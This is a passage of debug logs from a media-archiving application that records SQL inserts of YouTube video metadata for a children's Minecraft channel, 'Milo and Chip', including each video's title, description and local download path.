s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.576 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 23:00:20Z], 30] 19:40:54.577 [debug] QUERY OK source="media_items" db=0.5ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "84c6fed9-2ac1-46ca-bda4-699c47f2d348", "Oi7QKYHRi7U", false, "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, [], 1573, false, 10, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, false, 98, ~U[2026-05-13 23:00:20Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "Oi7QKYHRi7U", "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, 1573, false, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, ~U[2026-05-13 23:00:20Z]] 19:40:54.578 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.579 [debug] QUERY OK source="media_items" db=1.0ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-11 23:00:46Z], 30] 19:40:54.580 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "01d6e2e9-056b-4275-a0a1-82338199b879", "i3Vc0zkPdTg", false, "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, [], 1989, false, 11, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, false, 98, ~U[2026-05-11 23:00:46Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "i3Vc0zkPdTg", "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, 1989, false, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, ~U[2026-05-11 23:00:46Z]] 19:40:54.580 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.582 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 23:00:57Z], 30] 19:40:54.583 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "0b70e004-effc-4441-b4fb-2c3ed6eca633", "loEX2S2LGQI", false, "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, [], 1695, false, 12, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, false, 98, ~U[2026-05-09 23:00:57Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "loEX2S2LGQI", "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, 1695, false, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, ~U[2026-05-09 23:00:57Z]] 19:40:54.583 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.584 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-08 23:00:02Z], 30] 19:40:54.585 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "1a13c2c5-c5ba-43a3-a831-113c51277e66", "2K_f7PL9mbs", false, "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, [], 1543, false, 13, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, false, 98, ~U[2026-05-08 23:00:02Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Surprising Milo with DREAM Birthday in Minecraft", "2K_f7PL9mbs", "https://www.youtube.com/watch?v=2K_f7PL9mbs", 30, 1543, false, "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", false, ~U[2026-05-08 23:00:02Z]] 19:40:54.586 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.587 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-06 23:00:29Z], 30] 19:40:54.588 [debug] QUERY OK source="media_items" db=0.5ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "e639db87-1733-45ac-b8a4-ed9d5afe5574", "USKZb_Xfhfk", false, "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, [], 1124, false, 14, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, false, 98, ~U[2026-05-06 23:00:29Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Building a FULLY FUNCTIONAL Underground Metro! 🚇 🏗️ Can we design the ultimate working subway system with secret hidden tracks?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a Working Subway Station in Minecraft", "USKZb_Xfhfk", "https://www.youtube.com/watch?v=USKZb_Xfhfk", 30, 1124, false, "/downloads/rory/Milo and Chip/2026-05-06 How to Build a Working Subway Station in Minecraft/How to Build a Working Subway Station in Minecraft [USKZb_Xfhfk].mp4", false, ~U[2026-05-06 23:00:29Z]] 19:40:54.588 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.589 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-04 23:00:09Z], 30] 19:40:54.590 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "9c49273d-1636-4617-be83-171cab46da71", "8ybvWyXgHek", false, "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, [], 1287, false, 15, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, false, 98, ~U[2026-05-04 23:00:09Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "SURVIVING in Space After Being Kicked Off Earth! 🚀 🌎 Can we build a secret moon base and find a way back home before our oxygen runs out?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "8ybvWyXgHek", "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, 1287, false, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, ~U[2026-05-04 23:00:09Z]] 19:40:54.591 [debug] QUERY OK source="sources" db=0.2ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.592 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-02 23:00:07Z], 30] 19:40:54.603 [debug] QUERY OK source="media_items" db=10.9ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "8ab33b0e-2edb-462a-926c-46e723dfb899", "77bY5u7lOGs", false, "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, [], 1120, false, 16, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, false, 98, ~U[2026-05-02 23:00:07Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "77bY5u7lOGs", "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, 1120, false, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, ~U[2026-05-02 23:00:07Z]] 19:40:54.603 [debug] QUERY OK source="sources" db=0.3ms idle=13.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.605 [debug] QUERY OK source="media_items" db=0.9ms idle=13.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-01 23:01:06Z], 30] 19:40:54.607 [debug] QUERY OK source="media_items" db=2.1ms idle=14.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "272694d2-465c-45f9-b277-c9f2e62a4692", "v2BpJPC_GKc", false, "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, [], 1266, false, 17, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, false, 98, ~U[2026-05-01 23:01:06Z], ~U[2026-06-02 23:40:54Z], ~U[2026-06-02 23:40:54Z], "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "v2BpJPC_GKc", "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, 1266, false, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, ~U[2026-05-01 23:01:06Z]] 19:40:54.608 [debug] QUERY OK source="sources" db=0.4ms idle=15.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:54.609 [debug] QUERY OK source="media_items" db=1.0ms idle=5.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-29 23:00:02Z], 30] 19:40:54.610 [debug] QUERY OK source="media_items" db=0.6ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I 